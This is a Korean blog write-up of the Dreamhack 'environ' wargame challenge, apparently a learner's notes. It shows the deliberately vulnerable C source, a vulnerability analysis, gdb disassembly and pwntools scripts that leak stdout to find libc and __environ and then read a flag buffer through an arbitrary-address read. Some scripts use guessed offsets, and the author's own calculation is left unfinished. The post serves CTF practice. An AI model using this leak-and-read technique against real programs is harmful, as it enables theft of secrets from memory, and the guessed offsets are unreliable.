__environ은 C와 Unix 계열 운영 체제에서 **환경 변수(Environment Variables)**에 접근하기 위해 사용되는 전역 변수입니다. 이는 환경 변수를 프로세스의 메모리에서 접근할 수 있는 구조를 제공합니다.
__environ의 정의 및 역할
- 정의:
- __environ은 환경 변수 배열을 가리키는 전역 포인터입니다.
- 이는 환경 변수 이름과 값을 문자열 포인터 배열 형태로 저장합니다.
- 형식:
- extern char **__environ;
- 역할:
- 각 프로세스는 자신의 환경 변수를 가지고 있으며, 이는 메모리에 저장됩니다.
- 환경 변수는 KEY=VALUE 형식의 문자열로 저장되며, __environ은 이를 가리킵니다.
__environ와 environ의 차이점
- __environ:
- GNU C 라이브러리에서 사용되는 내부 전역 변수 이름.
- 보통 프로그래머가 직접 사용하는 경우는 드뭅니다.
- environ:
- 표준 C에서 환경 변수 배열을 가리키는 전역 변수.
- 일반적으로 사용자 코드에서 environ을 사용합니다.
- 실제로 대부분의 Unix 계열 시스템에서는 __environ과 environ이 동일한 값을 가리킵니다.
구조 및 동작
1. 환경 변수 배열
- __environ은 환경 변수의 배열을 가리킵니다.
- 배열은 char * 타입의 포인터로, 각 요소는 KEY=VALUE 형식의 문자열입니다.
2. 환경 변수 접근
- __environ을 통해 환경 변수를 직접 읽거나 수정할 수 있습니다.
예시 코드
#include <stdio.h>
extern char **__environ;
int main() {
char **env = __environ;
// 환경 변수 출력
while (*env) {
printf("%s\n", *env);
env++;
}
return 0;
}
메모리 구조
환경 변수는 프로세스의 메모리 공간에 저장됩니다:
- 스택(Stack):
- 로컬 변수 및 함수 호출 관련 데이터 저장.
- 힙(Heap):
- 동적 메모리 할당 저장.
- 환경 변수:
- 환경 변수는 메모리 상의 특별한 위치에 저장됩니다.
- __environ은 이 메모리 위치를 가리킵니다.
보안 취약점
1. 환경 변수 누출
- 공격자가 __environ 또는 환경 변수의 메모리 주소를 직접 읽을 수 있다면, 환경 변수에 저장된 민감한 정보를 탈취할 수 있습니다.
- 예: PATH, LD_PRELOAD, API 키, 암호 등.
2. 환경 변수 조작
- 환경 변수를 조작하여 프로그램의 동작을 변경하거나, 취약점을 악용할 수 있습니다.
- 예: LD_PRELOAD를 통해 악의적인 라이브러리를 로드.
보안 강화 방안
1. 민감한 데이터 관리
- 환경 변수에 암호나 API 키와 같은 민감한 정보를 저장하지 않도록 설계.
2. 환경 변수 초기화
- 실행 시 불필요한 환경 변수를 제거하거나 초기화:
clearenv(); // 모든 환경 변수 제거
3. 실행 권한 제한
- 시스템에서 실행 파일의 권한을 제한하여 환경 변수 조작을 방지.
결론
__environ은 프로세스의 환경 변수 배열을 가리키는 중요한 전역 변수입니다. 이를 통해 환경 변수에 접근하거나 조작할 수 있지만, 잘못된 사용으로 인해 보안 문제가 발생할 수 있으므로 신중히 다뤄야 합니다. 😊
이 프로그램은 버퍼 오버플로우 및 메모리 주소 직접 접근과 같은 보안 취약점을 포함하고 있습니다. 특히, 메모리 내 플래그 파일의 내용을 우회적으로 접근할 수 있는 구조를 가지고 있습니다.
소스코드다
// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
코드 분석
1. 초기화 함수 (init)
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
- 설명:
- 버퍼링 비활성화:
- stdin과 stdout의 버퍼링을 비활성화하여, 실시간으로 데이터 입출력이 이루어짐.
- 시간 제한 설정:
- alarm(5)로 프로그램 실행 시간을 5초로 제한.
- 제한 시간이 초과되면 sig_handle 함수가 호출되어 프로그램 종료.
- 버퍼링 비활성화:
2. 플래그 읽기 함수 (read_file)
void read_file() {
char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
- 설명:
- 플래그 파일 읽기:
- file_buf 버퍼에 ./flag 파일의 내용을 읽음.
- 그러나 이 함수는 내용을 출력하지 않으므로, 사용자에게 직접적으로 노출되지 않음.
- 취약점:
- 플래그 파일의 내용이 file_buf에 저장되지만, 메모리에 존재하므로 간접적인 접근이 가능.
- 플래그 파일 읽기:
3. 사용자 입력 처리 (main)
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
- 설명:
- 사용자 입력으로 idx를 받아 처리:
- idx == 1: 사용자에게 메모리 주소를 입력받아 해당 주소의 문자열을 출력.
- 취약점:
- 임의의 메모리 주소 접근 가능.
- 플래그 내용이 저장된 메모리 주소를 제공하면 플래그를 출력할 수 있음.
- 사용자 입력으로 idx를 받아 처리:
4. 프로그램 흐름
- 초기화:
- 입출력 버퍼링 비활성화 및 5초 제한 설정.
- 플래그 읽기:
- file_buf에 플래그 내용을 메모리로 로드.
- 사용자 입력:
- 사용자 입력에 따라 메모리 주소의 문자열 데이터를 출력.
취약점 분석
1. 메모리 주소 직접 접근
- 취약점:
- 사용자 입력으로 받은 주소(addr)를 강제로 캐스팅하여 메모리 내용을 출력:
printf("%s", (char *)addr);
- 보호 메커니즘 없이 메모리 접근을 허용하므로, file_buf의 주소를 제공하면 플래그 내용 출력 가능.
- 사용자 입력으로 받은 주소(addr)를 강제로 캐스팅하여 메모리 내용을 출력:
2. 플래그 노출
- 취약점:
- read_file 함수에서 플래그 내용을 file_buf에 로드.
- 해당 메모리 주소를 직접 참조하여 플래그를 우회적으로 읽을 수 있음.
3. 메모리 보호 부족
- 취약점:
- ASLR(Address Space Layout Randomization)이나 NX(No Execute) 등의 보호 메커니즘이 없을 경우, 익스플로잇이 쉬워짐.
익스플로잇 전략
목표
- file_buf 버퍼의 메모리 주소를 찾고, 해당 주소를 통해 플래그 내용을 출력.
1. 프로그램 실행 및 메모리 주소 확인
- 프로그램 실행 후 stdout의 주소를 확인:
stdout: 0x7ffff7dd2600
- stdout 주소를 기반으로 메모리 구조를 탐색하여 file_buf의 주소를 유추.
2. 익스플로잇 스크립트
- 플래그 파일 내용을 읽기 위해 정확한 메모리 주소를 입력:
from pwn import * # 원격 서버 연결 (로컬 실행 시 process 사용 가능) p = process('./environ') # 또는 remote('target_host', 1234) # stdout 주소 확인 p.recvuntil(b'stdout: ') stdout_addr = int(p.recvline().strip(), 16) print(f"stdout address: {hex(stdout_addr)}") # 추정 file_buf 주소 (stdout 근처) file_buf_addr = stdout_addr - 0x200 # 추정 오프셋 print(f"file_buf address: {hex(file_buf_addr)}") # 메모리 읽기 요청 p.sendline(b'1') # 메뉴 선택 p.recvuntil(b'Addr: ') p.sendline(str(file_buf_addr).encode()) print(p.recvline()) # 플래그 출력
보안 강화 방안
1. 메모리 접근 제한
- 임의 주소 접근을 방지하기 위해 사용자 입력 주소를 검증:
if (addr < SOME_SAFE_MIN_ADDR || addr > SOME_SAFE_MAX_ADDR) { printf("Invalid address!\n"); break; }
2. 플래그 메모리 보호
- 플래그 데이터를 메모리에서 완전히 제거:
memset(file_buf, 0, sizeof(file_buf));
3. 출력 제한
- 민감한 데이터가 포함된 메모리 주소를 출력하지 않음.
4. 보호 메커니즘 활성화
- 컴파일 시 보안 옵션 사용:
gcc -fstack-protector -z noexecstack -pie -o environ environ.c
결론
이 프로그램은 임의 메모리 접근 취약점으로 인해 플래그 내용을 노출할 수 있습니다. 플래그 데이터를 메모리에 노출하지 않도록 보호 메커니즘을 강화해야 하며, 사용자 입력을 검증해 이러한 취약점을 방지할 수 있습니다. 😊
주어진 바이너리(environ)의 보안 상태를 분석하고, 현재 상태에서 익스플로잇 가능성과 보호 메커니즘을 평가합니다.
보안 상태 분석
1. RELRO (Relocation Read-Only)
- 상태: Full RELRO
- GOT(Global Offset Table)이 완전히 읽기 전용으로 설정됨.
- GOT Overwrite 공격 불가.
2. STACK CANARY
- 상태: Canary found
- 스택에 **스택 카나리(Stack Canary)**가 삽입되어 스택 오버플로우 탐지가 가능.
- 스택 오버플로우를 통한 리턴 주소 덮어쓰기 어려움.
3. NX (No eXecute)
- 상태: NX enabled
- 데이터 영역(스택, 힙)에서 코드 실행이 금지.
- 셸코드 삽입 공격 불가.
4. PIE (Position Independent Executable)
- 상태: PIE enabled
- ASLR(Address Space Layout Randomization)이 활성화되어 실행 시점마다 바이너리의 코드 섹션 주소가 랜덤화됨.
- 정적 주소 기반 공격 어려움.
5. RPATH / RUNPATH
- 상태: No RPATH, No RUNPATH
- 동적 라이브러리 경로 설정 관련 보안 문제 없음.
6. Symbols
- 상태: 50 Symbols
- 디버깅 심볼 포함 여부는 익스플로잇 작성에 유리할 수 있음.
7. FORTIFY
- 상태: No
- FORTIFY_SOURCE가 활성화되지 않아 경계 검사 기능이 비활성화.
- 경계 검사 없이 실행 가능.
8. Fortified / Fortifiable
- 상태: 0 / 2
- 보호 가능했던 2개의 함수가 실제로 보호되지 않음.
익스플로잇 가능성 평가
- 스택 오버플로우:
- 불가능: 스택 카나리가 활성화되어 스택 오버플로우 탐지가 가능.
- 셸코드 삽입:
- 불가능: NX가 활성화되어 스택, 힙에서 실행 권한 없음.
- GOT Overwrite:
- 불가능: Full RELRO로 인해 GOT가 읽기 전용.
- 환경 변수 접근 및 조작:
- 가능성: __environ 또는 환경 변수를 직접 접근하여 메모리 주소를 유출하거나 조작 가능.
- 메모리 주소 유출:
- PIE 활성화로 인해 주소 랜덤화가 적용되었으나, 프로그램이 메모리 주소를 출력(stdout: %p)하므로 PIE를 우회할 수 있는 정보 유출 가능.
익스플로잇 설계
목표
- 프로그램에서 유출된 메모리 주소(stdout: %p)를 활용하여 환경 변수(__environ) 또는 플래그 내용을 읽음.
1. 메모리 주소 유출
- 프로그램 실행 시 stdout의 주소를 출력:
stdout: 0x7ffff7dd2600
- stdout 주소를 통해 환경 변수나 스택 상의 데이터를 역참조.
2. 환경 변수 접근
- 환경 변수(__environ)는 메모리에서 전역적으로 접근 가능.
- stdout과 __environ은 libc 영역에 함께 로드되므로, 적절한 오프셋을 계산하여 접근.
3. 익스플로잇 스크립트
Python 스크립트:
from pwn import *
# 바이너리 실행
p = process('./environ') # 또는 remote('host', port)
# stdout 주소 유출
p.recvuntil(b'stdout: ')
stdout_addr = int(p.recvline().strip(), 16)
print(f"[+] stdout address: {hex(stdout_addr)}")
# 추정 __environ 주소 (stdout과의 오프셋 계산 필요)
libc_stdout_offset = 0x3c5620 # 예: libc에서 stdout 오프셋
libc_environ_offset = 0x3c6f38 # 예: libc에서 __environ 오프셋
libc_base = stdout_addr - libc_stdout_offset
environ_addr = libc_base + libc_environ_offset
print(f"[+] __environ address: {hex(environ_addr)}")
# 메모리 읽기
p.sendline(b'1') # 메뉴 선택
p.recvuntil(b'Addr: ')
p.sendline(str(environ_addr).encode())
env_value = p.recvline()
print(f"[+] __environ value: {env_value}")
보안 개선 방안
- 메모리 주소 출력 제거:
- printf("stdout: %p\n", stdout);와 같은 메모리 주소 출력 제거.
- 주소 검증 추가:
- 임의 메모리 접근 요청(scanf("%ld", &addr))에 대해 주소 범위를 검증:
if (addr < SAFE_MIN || addr > SAFE_MAX) { printf("Invalid address!\n"); break; }
- 임의 메모리 접근 요청(scanf("%ld", &addr))에 대해 주소 범위를 검증:
- 환경 변수 제거:
- 프로그램 실행 시 민감한 환경 변수 제거:
clearenv();
- 프로그램 실행 시 민감한 환경 변수 제거:
- 디버깅 심볼 제거:
- -s 옵션으로 디버깅 심볼 제거하여 주소 계산을 어렵게 만듦:
gcc -o environ environ.c -s
- -s 옵션으로 디버깅 심볼 제거하여 주소 계산을 어렵게 만듦:
- ASLR 강화:
- 시스템에서 ASLR(Address Space Layout Randomization) 활성화:
echo 2 > /proc/sys/kernel/randomize_va_space
- 시스템에서 ASLR(Address Space Layout Randomization) 활성화:
결론
이 바이너리는 환경 변수 접근 및 메모리 주소 유출 취약점이 있습니다. 이를 악용하면 플래그를 읽거나 민감한 환경 변수를 탈취할 수 있습니다. 보안을 강화하려면 메모리 주소 유출을 방지하고, 주소 검증 및 환경 변수 초기화를 수행해야 합니다. 😊
우리가 알아야할 것은
/etc/passwd 파일의 내용이 저장된 스택 버퍼의 주소를 찾아야한다
순서는 이렇다
1. stdot lib 포인터를 통해 베이스 주소 계산
libc_base = stdout - stdout_symbols
2. 1번을 통해__envrion 포인터의 주소 알아내기
libc_environ = libc_base + __environ_symbols
3. read_file()함수에서 flag를 열고 읽기때문에 이 스택 버퍼 주소와 __envrion 변수가 가르키는
스택 주소의 거리 간격을 구해준다
file_content = __environ - (__environ - file_content)
4. 그 거리 간격을 __environ에서 뺀 주소에 있는 값을 출력하면 "/etc/passwd" 파일 내용을 읽을 수 있습니다.~~~
아씨 아침에 ㅋㅋㅋvmware 복제한다규 시간이없다
나중에 수업 끝나고 풀러오겠숩니다~
from pwn import *
p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.interactive()
(gdb) disas main
Dump of assembler code for function main:
0x0000000000001366 <+0>: endbr64
0x000000000000136a <+4>: push %rbp
0x000000000000136b <+5>: mov %rsp,%rbp
0x000000000000136e <+8>: sub $0x420,%rsp
0x0000000000001375 <+15>: mov %fs:0x28,%rax
0x000000000000137e <+24>: mov %rax,-0x8(%rbp)
0x0000000000001382 <+28>: xor %eax,%eax
0x0000000000001384 <+30>: mov $0x0,%eax
0x0000000000001389 <+35>: call 0x127b <init>
0x000000000000138e <+40>: mov $0x0,%eax
0x0000000000001393 <+45>: call 0x12e0 <read_file>
0x0000000000001398 <+50>: mov 0x2c71(%rip),%rax # 0x4010 <stdout@GLIBC_2.2.5>
0x000000000000139f <+57>: mov %rax,%rsi
0x00000000000013a2 <+60>: lea 0xc62(%rip),%rax # 0x200b
0x00000000000013a9 <+67>: mov %rax,%rdi
0x00000000000013ac <+70>: mov $0x0,%eax
0x00000000000013b1 <+75>: call 0x10f0 <printf@plt>
0x00000000000013b6 <+80>: lea 0xc5a(%rip),%rax # 0x2017
0x00000000000013bd <+87>: mov %rax,%rdi
0x00000000000013c0 <+90>: mov $0x0,%eax
0x00000000000013c5 <+95>: call 0x10f0 <printf@plt>
0x00000000000013ca <+100>: lea -0x41c(%rbp),%rax
0x00000000000013d1 <+107>: mov %rax,%rsi
0x00000000000013d4 <+110>: lea 0xc3f(%rip),%rax # 0x201a
0x00000000000013db <+117>: mov %rax,%rdi
0x00000000000013de <+120>: mov $0x0,%eax
0x00000000000013e3 <+125>: call 0x1160 <__isoc99_scanf@plt>
0x00000000000013e8 <+130>: mov -0x41c(%rbp),%eax
0x00000000000013ee <+136>: cmp $0x1,%eax
0x00000000000013f1 <+139>: jne 0x1445 <main+223>
0x00000000000013f3 <+141>: lea 0xc23(%rip),%rax # 0x201d
0x00000000000013fa <+148>: mov %rax,%rdi
0x00000000000013fd <+151>: mov $0x0,%eax
0x0000000000001402 <+156>: call 0x10f0 <printf@plt>
--Type <RET> for more, q to quit, c to continue without paging--ret
0x0000000000001407 <+161>: lea -0x418(%rbp),%rax
0x000000000000140e <+168>: mov %rax,%rsi
0x0000000000001411 <+171>: lea 0xc0c(%rip),%rax # 0x2024
0x0000000000001418 <+178>: mov %rax,%rdi
0x000000000000141b <+181>: mov $0x0,%eax
0x0000000000001420 <+186>: call 0x1160 <__isoc99_scanf@plt>
0x0000000000001425 <+191>: mov -0x418(%rbp),%rax
0x000000000000142c <+198>: mov %rax,%rsi
0x000000000000142f <+201>: lea 0xbf2(%rip),%rax # 0x2028
0x0000000000001436 <+208>: mov %rax,%rdi
0x0000000000001439 <+211>: mov $0x0,%eax
0x000000000000143e <+216>: call 0x10f0 <printf@plt>
0x0000000000001443 <+221>: jmp 0x1446 <main+224>
0x0000000000001445 <+223>: nop
0x0000000000001446 <+224>: jmp 0x13b6 <main+80>
End of assembler dump.
(gdb) disas read_file
Dump of assembler code for function read_file:
0x00000000000012e0 <+0>: endbr64
0x00000000000012e4 <+4>: push %rbp
0x00000000000012e5 <+5>: mov %rsp,%rbp
0x00000000000012e8 <+8>: sub $0x1000,%rsp
0x00000000000012ef <+15>: orq $0x0,(%rsp)
0x00000000000012f4 <+20>: sub $0x20,%rsp
0x00000000000012f8 <+24>: mov %fs:0x28,%rax
0x0000000000001301 <+33>: mov %rax,-0x8(%rbp)
0x0000000000001305 <+37>: xor %eax,%eax
0x0000000000001307 <+39>: mov $0x0,%esi
0x000000000000130c <+44>: lea 0xcf1(%rip),%rax # 0x2004
0x0000000000001313 <+51>: mov %rax,%rdi
0x0000000000001316 <+54>: mov $0x0,%eax
0x000000000000131b <+59>: call 0x1150 <open@plt>
0x0000000000001320 <+64>: mov %eax,-0x1014(%rbp)
0x0000000000001326 <+70>: lea -0x1010(%rbp),%rcx
0x000000000000132d <+77>: mov -0x1014(%rbp),%eax
0x0000000000001333 <+83>: mov $0xfff,%edx
0x0000000000001338 <+88>: mov %rcx,%rsi
0x000000000000133b <+91>: mov %eax,%edi
0x000000000000133d <+93>: call 0x1120 <read@plt>
0x0000000000001342 <+98>: mov -0x1014(%rbp),%eax
0x0000000000001348 <+104>: mov %eax,%edi
0x000000000000134a <+106>: call 0x1110 <close@plt>
0x000000000000134f <+111>: nop
0x0000000000001350 <+112>: mov -0x8(%rbp),%rax
0x0000000000001354 <+116>: sub %fs:0x28,%rax
0x000000000000135d <+125>: je 0x1364 <read_file+132>
0x000000000000135f <+127>: call 0x10e0 <__stack_chk_fail@plt>
0x0000000000001364 <+132>: leave
0x0000000000001365 <+133>: ret
0x7fffffffde78-0x7fffffffc900
5496
hex(5496)
'0x1578'
?
어?
0x1538이 나와야하는데??
???
다시처음부터 해보자
__environ 변수의 offset은 0x221200
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[108] IT 비전공자 [dreamhack]cpp_string문제 풀기 (1) | 2024.12.26 |
---|---|
[107] IT 비전공자 [dreamhack][CodeEngn] Malware L07문제 풀기 (2) | 2024.12.25 |
[105] IT 비전공자 [dreamhack]Robot Only문제 풀기 (1) | 2024.12.23 |
[104] IT 비전공자 [dreamhack]Simple Patch Me문제 풀기 (1) | 2024.12.22 |
[103] IT 비전공자 [dreamhack]awesome-basics문제 풀기 (0) | 2024.12.21 |